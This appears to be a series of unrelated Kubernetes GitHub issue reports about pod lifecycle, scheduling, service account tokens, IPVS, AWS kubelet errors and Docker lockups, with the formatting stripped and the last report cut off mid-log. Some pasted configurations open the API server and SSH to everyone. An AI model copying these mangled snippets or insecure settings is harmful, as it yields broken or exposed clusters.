ref  62146\r \r without this, integration test loses the coverage for rbac related permission errors. \r \r  \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r currently cloud resources  disks, lbs and etc  created by gce provider are not tagged with any label, so it is hard to determine which resources are related to particular cluster. \r   what you expected to happen  :\r in aws we use \ tag:kubernetes.io/cluster/<clusterid>\  to mark all cloud resources which are created by aws cloud provider, so they can be easily filtered. \r it would be great if we can do the same for gce cloud provider\r

hello,\r \r   problem:  \r \r insufficient information about the pod lifecycle and how a pod's state maps to the pod's containers' states. specifically the documentation states that \ the phase of a pod is a simple, high-level summary of where the pod is in its lifecycle. the phase is not intended to be a comprehensive rollup of observations of container or pod state, nor is it intended to be a comprehensive state machine\   pod lifecycle  https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/ pod-phase \r \r   proposed solution:  \r \r specify the pod lifecycle and how a pod's state maps to the pod's containers' states, exit codes, and liveness probes.\r \r   the following statements reflect my understanding of the pod's lifecycle, please do post comments and corrections as appropriate.   \r \r     pod lifecycle\r \r ! image  https://user-images.githubusercontent.com/580718/43996583-b2690758-9d7a-11e8-88ff-37695d64972d.png \r \r     container lifecycle\r \r ! image  https://user-images.githubusercontent.com/580718/44106187-c62d6dc6-9fa8-11e8-9914-4fafb6b5f4c6.png \r \r the kubelet determines a pod's state exclusively based on the pod's \r \r - init containers'\r   - state\r   - exit code\r - main containers'\r   - state\r   - exit code\r   - liveness probe\r \r     pending\r \r when a pod is in the state pending then \r - none of the pod's init containers are in the state terminated failure \r - all of the pod's main containers are in the state waiting\r \r    \r fact {\r     all p : pod | \r         p.status = pending <=> {\r             // init container\r             no  c : p.init_containers | c.status = terminated_failure\r             // main container\r             all c : p.main_containers | c.status = waiting\r         }\r }\r    \r \r     running\r \r when a pod is in the state running then\r - all of the pod's init containers are in the state terminated success \r - at least one of the pod's main containers is in the state running\r - none of the pod's main containers are in the state terminated failure \r - none of the pod's main containers are dead\r \r    \r fact {\r     all p : pod | \r         p.status = running <=> {\r             // init containers\r             all  c : p.init_containers | c.status = terminated_success \r             // main containers\r             some c : p.main_containers | c.status = running \r             no   c : p.main_containers | c.status = terminated_failure\r             no   c : p.main_containers | isdead c \t\t\t\r         }\r }\r    \r \r     success\r \r when a pod is in the state success then\r - all of the pod's init containers are in the state terminated success  \r - all of the pod's main containers are in the state terminated success  \r - all of the pod's main containers were live\r \r    \r fact {\r     all p : pod | \r         p.status = success <=> {\r             // init containers\r             all c : p.init_containers | c.status = terminated_success \r             // main containers\r             all c : p.main_containers | c.status = terminated_success \r             all c : p.main_containers | islive c \r         }\r }\r    \r \r     failure\r \r when a pod id in the state failure then \r - all of the pods init container are in the state terminated\r - all of the pod's main containers are in the state terminated\r - and\r     - at least one of the pod's init containers is in the in the state terminated failure   or \r     - at least one of the pod's main containers is in the in the state terminated failure   or \r     - at least one of the pod's main containers was dead\r \r    \r fact {\r     all p : pod |\r         p.status = failure <=> {\r             // init containers\r             all c : p.init_containers | c.status = terminated  \r             // main containers\r             all c : p.main_containers | c.status = terminated\r             // init & main container\r              some c : p.init_containers | c.status = terminated_failure  or  some c : p.main_containers | c.status = terminated_failure  or  some c : p.main_containers | isdead c   \r         }\r }\r    \r \r     caveats\r \r note that the  current  state is trailing the  genuine  state, since kubernetes in general and the kubelet in special use polling.\r \r ! image  https://user-images.githubusercontent.com/580718/44106327-34611bf8-9fa9-11e8-8a88-fe44c4fe3413.png \r \r    \r current state at t: pending, genuine state at t: running\r    \r \r is this an accurate reflection of kubernetes' behavior?

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r the scheduler places unschedulable pods in \ unschedulabe\  queue and retries them only when certain events happen that could potentially make them schedulable. this logic works well in almost all scenarios, but inevitable race condition in large distributed systems, could potentially cause some events to be seen before pods are added to the unschedulable queue. if this happens, pods may be left in the unschedulable queue and not be retried. such scenarios should be rare and even if they occur, usually there are other events that trigger a retry and cover them. however, if such scenarios happen in smaller and low churn clusters, other events may not be seen for a while and pods may be stuck in the unschedulable queue for a long time.\r \r the scheduling queue   priorityqueue   has a  run  method that is triggered every second to move backed off pods to the active queue. we should add another go routine that is triggered every 30 seconds and moves pods whose last schedule time is older than 1 minute from \ unschedulble\  queue to the active queue.\r \r \r <!-- do not edit below this line -->\r  \r i don't know if this should be marked as a bug. i don't have any report of such issue. it is more of a precaution to prevent issues.\r \r 

almost every logged message is prefixed with  error: logging before flag.parse  if  github.com/golang/glog  http://github.com/golang/glog  is updated to the latest snapshot. apparently it is caused by https://github.com/golang/glog/commit/65d674618f712aa808a7d0104131b9206fc3d5ad which requires changes in kubernetes...

hi, i am getting below issue when i am creating a pod , link which i am following: server which i am using is rethat7.2 http://severalnines.com/blog/installing-kubernetes-cluster-minions-centos7-manage-pods-services  error from server: error when creating \ mysql.yaml\ : pods \ mysql\  is forbidden: no api token found for service account default/default, retry after the token is automatically created and added to the service account   root@xxxx pods   kubectl --namespace=kube-system describe serviceaccount default error from server: serviceaccounts \ default\  not found  can you help how to fix this up?  api server  -> vi /etc/kubernetes/apiserver  anything i need to add?   kube_api_address=\ --insecure-bind-address=0.0.0.0\   kube_api_port=\ --port=8080\   kubelet_port=\ --kubelet-port=10250\   kube_etcd_servers=\ --etcd-servers=http://127.0.0.1:2379\   kube_service_addresses=\ --service-cluster-ip-range=10.254.0.0/16\   kube_admission_control=\ --admission-control=namespacelifecycle,namespaceexists,limitranger,serviceaccount,resourcequota\   kube_api_args=\ \   brs ,gowrisankar

kubelet,apiserver ,controller and scheduler : 1.5\r \r \r add one windows server 2016 to linux cluster\r \r i followed the guides here: http://kubernetes.io/docs/getting-started-guides/windows/ \r the pod is running , but the network can't connect with other nodes in cluster\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r glusterfs tls\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r could kubernetes support connecting to glusterfs cluster with tls certificate, as described in https://kshlm.in/post/network-encryption-in-glusterfs/? this seems like production-grade feature.\r \r it would be perfect to support both data and management connections.

at kubecon europe in berlin last week i presented some work we've done at huawei scaling kubernetes in-cluster load balancing to 50,000+ services and beyond, the challenges associated with doing this using the current iptables approach, and what we've achieved using an alternative ipvs-based approach.  iptables is designed for firewalling, and based on in-kernel rule lists, while ipvs is designed for load balancing and based on in-kernel hash tables.  ipvs also supports more sophisticated load balancing algorithms than iptables  least load, least conns, locality, weighted  as well as other useful features  e.g. health checking, retries etc .\r \r after the presentation, there was strong support  a.k.a. a riot :-     for us to open source this work, which we are happy to do.  we can use this issue to track that.\r \r for those who were not able to be there, here is the video:\r \r https://youtu.be/c7d_kd2eh4w\r \r and the slides:\r \r https://docs.google.com/presentation/d/1baiaywy2qqehtygztlyap89jizs59mzlkcflxke6lym/edit?usp=sharing\r \r we will follow up on this with a more formal design proposal, and a set of pr's, but in summary we added a about 680 lines of code to the existing 12,000 lines of kube-proxy  ~5% , and added a third mode flag to it's command-line  mode=ipvs, to the existing mode=userspace and mode=iptables .\r performance improvement of load balancer updates is dramatic  update latency reduced from hours per rule to 2ms per rule . network latency and variability also reduced dramatically for large numbers of services.\r  \r @kubernetes/sig-network-feature-requests \r @kubernetes/sig-scalability-feature-requests \r @thockin \r @wojtek-t \r

kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ ,goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+coreos.0\ , gitcommit:\ 8996efde382d88f0baef1f015ae801488fcad8c4\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t21:11:20z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r \r -   cloud provider or hardware configuration  :\r \r running in aws us west oregon\r \r -   os    e.g. from /etc/os-release :\r \r name=\ container linux by coreos\ \r id=coreos\r version=1353.7.0\r version_id=1353.7.0\r build_id=2017-04-26-2154\r pretty_name=\ container linux by coreos 1353.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r \r -   kernel    e.g.  uname -a  :\r \r linux ip-10-68-2-11.us-west-2.compute.internal 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r \r   what happened  :\r \r if i create a namespace  ie: my-namespace , a default service account and token is created  can be seen via kubectl get serviceaccount/secrets . if you delete the namespace and at a later date re-create the same namespace, the default token is not re-created.\r \r upon deploying pods into this namespace they all stay in pending as it complains that it can not mount default-token-xxxxx  as it doesn't exist . \r \r   what you expected to happen  :\r \r i would expect that when the namespace is created again, the default token would be re-generated.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r fairly easy to re-produce. simply create a namespace. verify that the default token is present via kubectl get secrets.\r \r then delete that namespace  kubectl delete namespace name .\r \r re-create the namespace and verify that no default token is present via kubectl get serviceaccount/secrets. \r \r the system still seems to know the name of what the default-token should be  as it tries to mount that in pods you try to run in that namespace  but it doesn't exist as far as get secrets is concerned.

with the introduction of  crd support in the garbage collector  https://github.com/kubernetes/kubernetes/pull/47665 , we decided to open this followup issue to introduce expanded test coverage to verify gc works with custom resources backed by aggregated api servers. \r \r  @kubernetes/sig-api-machinery-feature-requests \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r configured the aws provider, but getting an error message on kubelet:\r \r  sep 20 14:50:09 ip-10-8-30-171 kubelet: error: failed to run kubelet: could not init cloud provider \ aws\ : error finding instance i-098842ef4105e851f: error listing aws instances: nocredentialproviders: no valid providers in chain. deprecated.\r  \r \r   what you expected to happen  :\r \r i expected kubelet to work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just try to to configure the aws cloud provider in the eu-west-1 region.\r \r   anything else we need to know?  :\r \r iam policy assigned to all nodes:\r \r    \r {\r     \ version\ : \ 2012-10-17\ ,\r     \ statement\ :  \r         {\r             \ effect\ : \ allow\ ,\r             \ action\ :  \r                 \ ec2:describe \ \r              ,\r             \ resource\ :  \r                 \  \ \r              \r         },\r         {\r             \ effect\ : \ allow\ ,\r             \ action\ :  \r                 \ ec2:attachvolume\ ,\r                 \ ec2:detachvolume\ \r              ,\r             \ resource\ :  \r                 \ arn:aws:ec2: : :instance/ \ \r              \r         }\r      \r }\r    \r systemd unit file:\r \r    \r  unit \r description=kubernetes kubelet\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=docker.service\r requires=docker.service\r \r  service \r execstart=/usr/local/bin/kubelet \\\r   --hostname-override=ip-10-8-30-171 \\\r   --cgroup-driver=systemd \\\r   --allow-privileged=true \\\r   --cloud-provider=aws \\\r   --pod-manifest-path=/etc/kubernetes/manifests \\\r   --cluster-dns=10.96.0.10 \\\r   --cluster-domain=cluster.local \\\r   --enable-custom-metrics \\\r   --kubeconfig=/etc/kubeconfig/kubelet \\\r   --network-plugin=cni \\\r   --pod-cidr=10.32.0.0/12 \\\r   --register-node=true \\\r   --require-kubeconfig \\\r   --runtime-request-timeout=10m \\\r   --tls-cert-file=/etc/ssl/kubernetes/ip-10-8-30-171.pem \\\r   --tls-private-key-file=/etc/ssl/kubernetes/ip-10-8-30-171-key.pem \\\r   --v=1\r restart=on-failure\r restartsec=5\r \r  install \r wantedby=multi-user.target\r \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.6\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : 4.4.88-1\r - install tools: custom ansible\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r from https://github.com/kubernetes/features/issues/504.\r \r https://github.com/kubernetes/kubernetes/pull/55848 adds the alpha support for custom pod dns, given this is an opt-in feature that will not be triggered by any existing e2e test, we should write a explicit test to ensure it is and will be continue working.\r \r /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r within the community working on apache spark on kubernetes, there's some recent discussions around high-availability  ha  support for spark drivers, particularly for spark streaming applications for which ha is critical. currently the spark driver runs in a bare pod and if it the pod dies for whatever reason, the application terminates. to address this, there's a proposal on using a job of size 1 to run the driver, and pr https://github.com/apache/spark/pull/21067 was created to implement that. however, the following concern was raised: there is   no guarantee   that the job controller   won't   spin up 2 driver pods when we only asked for 1. the exactly-once semantic is important for spark as typically spark is used for data processing and running more than one instance of the same application can cause race conditions around input/output data so is undesirable.\r \r the problem of exactly-once semantic can be solved if jobs have an option of using deterministic pod names such that a job pod may be restarted if and only if an old pod instance with the same name has been successfully deleted.\r \r   anything else we need to know?  :\r \r   \r @foxish @erikerlandson @mccheah @soltysh @kow3ns @erictune

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r no memory leaks on pod binding cache.\r \r proposals:\r \r     1  clear when pod is not needed to be scheduled\r \r - assigned a node on success\r - deleted from cluster\r \r     2  clear when scheduler loop ends\r \r with this, pod binding cache is restricted to be used in current scheduler loop, and we clear when scheduler loop ends\r \r - on error  async error handler \r - on success  async bind \r \r note that async bind needs pod binding cache to bind pod volumes, we must find a way to pass it on.\r  \r   why is this needed  :\r \r xref: https://github.com/kubernetes/kubernetes/pull/72045/files r246638133

the api in v2 has this comment: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/api/v1beta2/types.go  \ image pull policy: one of pullalways, pullnever, pullifnotpresent; defaults to pullalways if :latest tag is specified, or pullifnotpresent otherwise\   this was removed in the v3 types.go file  there's a partial explanation here, but it doesn't specify all possible values: https://github.com/googlecloudplatform/kubernetes/blob/master/docs/images.md  so a documentation for all possible values and the default value is needed.  also, when working with v1beta1 api, when creating a pod with guestbook examples that don't specify the image pull policy, that property is returned with empty value  \ imagepullpolicy\ : \ \ , shouldn't a default value be populated?

feature request:\r at present the rules generated by kube-proxy  pkg/proxy/iptable/proxier  cannot be / are not validated  for syntactic correctness. \r \r     options 1\r    \r iptables-restore --test\r    \r given a rules set, it validates if the rules are correct.\r this test does more than just syntactic validation.\r \r 1. it expects the kernel modules for tables to be loaded  or available for modprobe \r 2. you need root privileges to run --test. \r given this we can run the validation tests as part of e2e tests inside   docker container.\r \r     option 2\r it is still desirable to have this as part of the unit test. \r update iptables-restore.c to separate out the parser and then use it for proper unit test validation.

this is simple cleanup. it is unnecessarily disconcerting to read through apiserver logs and find every log line is from the file \ panics.go\ . we should adjust the code printing these lines, either by changing the file name, or  ideally  by making it more intelligent about logging the source of the call  e.g., callers-- .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/719/  failed: testserviceregistryexternaltrafficbetaannotationhealthchecknodeportuserallocation {service}      rest_test.go:1012: unexpected failure creating service internal error occurred: failed to allocate requested healthcheck nodeport 30200: provided port is already allocated panic: interface conversion: interface is nil, not  api.service /usr/local/go/src/runtime/panic.go:500 +0x1ae /usr/local/go/src/testing/testing.go:579 +0x474 /usr/local/go/src/runtime/panic.go:458 +0x271 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/core/service/rest_test.go:1014 +0x5da /usr/local/go/src/testing/testing.go:610 +0xca /usr/local/go/src/testing/testing.go:646 +0x530

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:54:20z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws w/kops\r -   os    e.g. from /etc/os-release :\r \r    \r admin@ip-172-20-52-174:~$ cat /etc/os-release\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r -   kernel    e.g.  uname -a  : 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux\r \r -   install tools  : kops 1.5.3\r \r \r   what happened  :\r \r i have a four node cluster. one node is continually failing kublet checks because the docker daemon keeps locking it up. pods that were running either stop running or go into restarting. pods on that node cannot be deleted either  even with  --force --grace-period 0  . restarting the docker daemon \ resolves\  the problem, but it seems to come back after a few hours. \r \r truthfully i'm not sure if this is  kubernetes or docker problem. it's happened to me on 1.5.1 and now on 1.5.4. \r \r   what you expected to happen  :\r \r pods in the running state should not lock up the docker daemon.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r creating pods via deployments. wait for everything to enter the running state. monitor the cluster\r \r \r   anything else we need to know  :\r \r    \r admin@ip-172-20-52-174:~$ sudo docker info\r containers: 47\r  running: 23\r  paused: 0\r  stopped: 24\r images: 30\r server version: 1.12.3\r storage driver: overlay\r  backing filesystem: extfs\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local\r  network: host bridge null overlay\r swarm: inactive\r runtimes: runc\r default runtime: runc\r security options:\r kernel version: 4.4.41-k8s\r operating system: debian gnu/linux 8  jessie \r ostype: linux\r architecture: x86_64\r cpus: 2\r total memory: 7.799 gib\r name: ip-172-20-52-174\r id: zdm4:o6oo:igfe:2rt2:jknl:ue3r:egfn:os3a:3k5m:sghg:oteq:qs6z\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r warning: no swap limit support\r warning: no kernel memory limit support\r insecure registries:\r  127.0.0.0/8\r    \r \r kops cluster spec:\r \r    \r kind: cluster\r metadata:\r   creationtimestamp: \ 2017-04-27t13:11:50z\ \r   name: np.k8s.saltside.io\r spec:\r   api:\r     loadbalancer:\r       type: public\r   channel: stable\r   cloudprovider: aws\r   configbase: s3://saltside-nonproduction-kops-eu-west-1/np.k8s.saltside.io\r   dnszone: k8s.saltside.io\r   etcdclusters:\r   - etcdmembers:\r     - instancegroup: master-ap-south-1a\r       name: a\r     name: main\r   - etcdmembers:\r     - instancegroup: master-ap-south-1a\r       name: a\r     name: events\r   kubernetesapiaccess:\r   - 0.0.0.0/0\r   kubernetesversion: 1.5.4\r   masterpublicname: api.np.k8s.saltside.io\r   networkcidr: 172.20.0.0/16\r   networking:\r     flannel: {}\r   nonmasqueradecidr: 100.64.0.0/10\r   sshaccess:\r   - 0.0.0.0/0\r   subnets:\r   - cidr: 172.20.32.0/19\r     name: ap-south-1a\r     type: private\r     zone: ap-south-1a\r   - cidr: 172.20.0.0/22\r     name: utility-ap-south-1a\r     type: utility\r     zone: ap-south-1a\r   topology:\r     bastion:\r       bastionpublicname: bastion.np.k8s.saltside.io\r     dns:\r       type: public\r     masters: private\r     nodes: private\r    \r \r docker logs  since t-zero, then with the restart \r \r    \r -- logs begin at thu 2017-04-27 13:13:09 utc, end at thu 2017-04-27 17:37:46 utc. --\r apr 27 13:13:15 ip-172-20-52-174 systemd 1 : starting docker application container engine...\r apr 27 13:13:19 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:19.996285277z\  level=info msg=\ libcontainerd: new containerd process, pid: 515\ \r apr 27 13:13:21 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:21.248192183z\  level=warning msg=\ devmapper: usage of loopback devices is strongly discouraged for production use. please use  --storage-opt dm.thinpooldev  or use  man docker  to refer to dm.thinpooldev section.\ \r apr 27 13:13:21 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:21.280096389z\  level=warning msg=\ devmapper: xfs is not supported in your system. either the kernel doesn't support it or mkfs.xfs is not in your path. defaulting toext4 filesystem\ \r apr 27 13:13:21 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:21.282571789z\  level=info msg=\ devmapper: creating filesystem ext4 on device docker-202:1-1572931-base\ \r apr 27 13:13:26 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:26.736159668z\  level=info msg=\ devmapper: successfully created filesystem ext4 on device docker-202:1-1572931-base\ \r apr 27 13:13:26 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:26.804448968z\  level=info msg=\ graph migration to content-addressability took 0.00 seconds\ \r apr 27 13:13:26 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:26.804644494z\  level=warning msg=\ your kernel does not support swap memory limit.\ \r apr 27 13:13:26 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:26.804688206z\  level=warning msg=\ your kernel does not support kernel memory limit.\ \r apr 27 13:13:26 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:26.805146429z\  level=info msg=\ loading containers: start.\ \r apr 27 13:13:27 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:27.422649731z\  level=info msg=\ default bridge  docker0  is assigned with an ip address 172.17.0.0/16. daemon option --bip can be used to set a preferred ip address\ \r apr 27 13:13:27 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:27.459777883z\  level=info msg=\ loading containers: done.\ \r apr 27 13:13:27 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:27.459880715z\  level=info msg=\ daemon has completed initialization\ \r apr 27 13:13:27 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:27.459905666z\  level=info msg=\ docker daemon\  commit=6b644ec graphdriver=devicemapper version=1.12.3\r apr 27 13:13:27 ip-172-20-52-174 systemd 1 : started docker application container engine.\r apr 27 13:13:27 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:13:27.465895060z\  level=info msg=\ api listen on /var/run/docker.sock\ \r apr 27 13:14:07 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:24  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:24  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:24  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:24  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 : stopping docker application container engine...\r apr 27 13:14:25 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:14:25.693822003z\  level=info msg=\ processing signal 'terminated'\ \r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 dockerd 469 : time=\ 2017-04-27t13:14:25.776997914z\  level=info msg=\ stopping containerd after receiving terminated\ \r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:25 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:14:26 ip-172-20-52-174 systemd 1 : starting docker application container engine...\r apr 27 13:14:27 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:27.830981226z\  level=warning msg=\ your kernel does not support swap memory limit.\ \r apr 27 13:14:27 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:27.831047331z\  level=warning msg=\ your kernel does not support kernel memory limit.\ \r apr 27 13:14:27 ip-172-20-52-174 systemd 1 : started docker application container engine.\r apr 27 13:14:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:28.997202840z\  level=error msg=\ handler for post /v1.24/containers/create returned error: no such image: protokube:1.5.3\ \r apr 27 13:14:31 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:31.415180774z\  level=error msg=\ attempting next endpoint for pull after error: unauthorized: authentication required\ \r apr 27 13:14:33 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:33.495034290z\  level=error msg=\ not continuingwith pull after error: error: image library/protokube:1.5.3 not found\ \r apr 27 13:14:35 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:35.731410786z\  level=error msg=\ handler for post /v1.24/containers/create returned error: no such image: protokube:1.5.3\ \r apr 27 13:14:37 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:37.978634350z\  level=error msg=\ attempting next endpoint for pull after error: unauthorized: authentication required\ \r apr 27 13:14:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:38.736661134z\  level=error msg=\ not continuingwith pull after error: error: image library/protokube:1.5.3 not found\ \r apr 27 13:14:40 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:40.983921482z\  level=error msg=\ handler for post /v1.24/containers/create returned error: no such image: protokube:1.5.3\ \r apr 27 13:14:43 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:43.236735624z\  level=error msg=\ attempting next endpoint for pull after error: unauthorized: authentication required\ \r apr 27 13:14:43 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:43.994496441z\  level=error msg=\ not continuingwith pull after error: error: image library/protokube:1.5.3 not found\ \r apr 27 13:14:46 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:46.236539678z\  level=error msg=\ handler for post /v1.24/containers/create returned error: no such image: protokube:1.5.3\ \r apr 27 13:14:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:48.508166049z\  level=error msg=\ attempting next endpoint for pull after error: unauthorized: authentication required\ \r apr 27 13:14:49 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:49.275456168z\  level=error msg=\ not continuingwith pull after error: error: image library/protokube:1.5.3 not found\ \r apr 27 13:14:51 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:51.496624226z\  level=error msg=\ handler for post /v1.24/containers/create returned error: no such image: protokube:1.5.3\ \r apr 27 13:14:53 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:53.743557167z\  level=error msg=\ attempting next endpoint for pull after error: unauthorized: authentication required\ \r apr 27 13:14:54 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:14:54.500134287z\  level=error msg=\ not continuingwith pull after error: error: image library/protokube:1.5.3 not found\ \r apr 27 13:14:55 ip-172-20-52-174 systemd 1 :  /lib/systemd/system/docker.service:20  unknown lvalue 'delegate' in section 'service'\r apr 27 13:15:35 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:15:35.322211987z\  level=error msg=\ handler for get /v1.24/images/gcr.io/google_containers/pause-amd64:3.0/json returned error: no such image: gcr.io/google_containers/pause-amd64:3.0\ \r apr 27 13:15:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:15:39.115326280z\  level=error msg=\ handler for get /v1.24/images/gcr.io/google_containers/kube-proxy:v1.5.4/json returned error: no such image: gcr.io/google_containers/kube-proxy:v1.5.4\ \r apr 27 13:18:50 ip-172-20-52-174 dockerd 1001 : time=\ 